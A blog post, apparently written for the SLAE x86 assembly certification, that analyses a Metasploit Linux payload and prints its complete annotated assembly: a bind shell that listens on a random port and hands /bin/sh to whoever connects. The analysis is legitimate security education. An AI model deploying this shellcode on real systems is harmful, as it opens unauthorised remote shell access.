---
layout: post
title: "SLAE x86 Exam Part 5.3"
description: "SLAE x86 Exam Part 5.3: MSF Payload Analysis #3"
modified: 2018-06-03T15:00:00-05:00
tags: [pentest, asm, x86, slae]
---

# Overview
This blog post has been created for completing the requirements of the
SecurityTube Linux Assembly Expert certification:

[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](/http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/)

Student ID: SLAE-1260

---
# Payload #3

This is the third payload selected for [SLAE Part 5](/slae-5-msf). 

Like Payload #2, I started this one off by looking at the content of `EAX` 
going into each `SYSCALL` instruction.  Here's what I found:

{% highlight nasm %}
0000000D:   0x66 (SOCKETCALL)
00000017:   0x66 (SOCKETCALL)
0000001C:   0x66 (SOCKETCALL)
00000023:   0x3F (DUP2)
00000037:   0xB  (EXECVE)
{% endhighlight %}

Hmm...3 `SOCKETCALL`s followed by a `DUP2` and an `EXECVE` sure looks like a 
Bind shell.  For the calls to `SOCKETCALL`,`EBX` cycles through `0x1`, `0x4`, 
and `0x5`: `SOCKET`, `LISTEN` and `ACCEPT`, respectively.  

Note that there is no call to `BIND`, so we're not bound to any particular 
address. In this case, the kernel binds implicitly to `0.0.0.0` on an 
ephemeral port selected at random by the OS.  

I won't spend too much time on this since we already analyzed a BIND shell in 
[Exercise 1](/slae-1-bindshell), but let's step through and make sure this does 
what we're expecting:

{% highlight nasm %}
global _start

section .text
_start:
    xor ebx,ebx         ; Clear EBX
    mul ebx             ; Also clear EAX and EDX
    mov al,0x66         ; Set AL to 0x66 (SYS_SOCKETCALL)
    inc ebx             ; Set EBX to 1 (SOCKET)
    push edx            ; Push 0 (PROTOCOL arg)
    push ebx            ; Push 1 (SOCK_STREAM arg)
    push byte +0x2      ; Push 2 (AF_INET arg)
    mov ecx,esp         ; Save pointer to args in ECX
    int 0x80            ; Exec interrupt
    push edx            ; Push 0 (BACKLOG arg)
    push eax            ; Push socket FD (SOCKFD arg)
    mov ecx,esp         ; Save pointer to args in ECX
    mov al,0x66         ; SYS_SOCKETCALL
    mov bl,0x4          ; Set EBX to 4 (LISTEN)
    int 0x80            ; Exec interrupt
    mov al,0x66         ; SYS_SOCKETCALL
    inc ebx             ; Set EBX to 5 (ACCEPT)
    int 0x80            ; Exec interrupt
    pop ecx             ; Pop SOCKFD value
    xchg eax,ebx        ; Move returned FD to EBX
    push byte +0x3f     ; Push DUP2 syscall...
    pop eax             ; ...into EAX
    int 0x80            ; Exec interrupt
    dec ecx             ; Decrement counter
    jns 0x20            ; Jump to 0x3F syscall if >= 0
    mov al,0xb          ; EXECVE syscall
    push dword 0x68732f2f   ; "//sh"
    push dword 0x6e69622f   ; "/bin"
    mov ebx,esp         ; Save args to EBX
    inc ecx             ; -1 -> 0
    int 0x80            ; Exec interrupt
{% endhighlight %}

The only oddity here is the `pop ecx` after the call to the last 
`SYS_SOCKETCALL`.  The last thing pushed onto the stack was the file descriptor
for the new socket, which is guaranteed to be greater than the required
starting point for `ECX`, which is 2.  This avoids an wasting an additional 
`push` at the cost of a few unneeded CPU cycles for the extra loop iterations.

## Screenshots

![Execution of Payload #3]({{ "/assets/images/5.3-msf3.png" | absolute_url}})
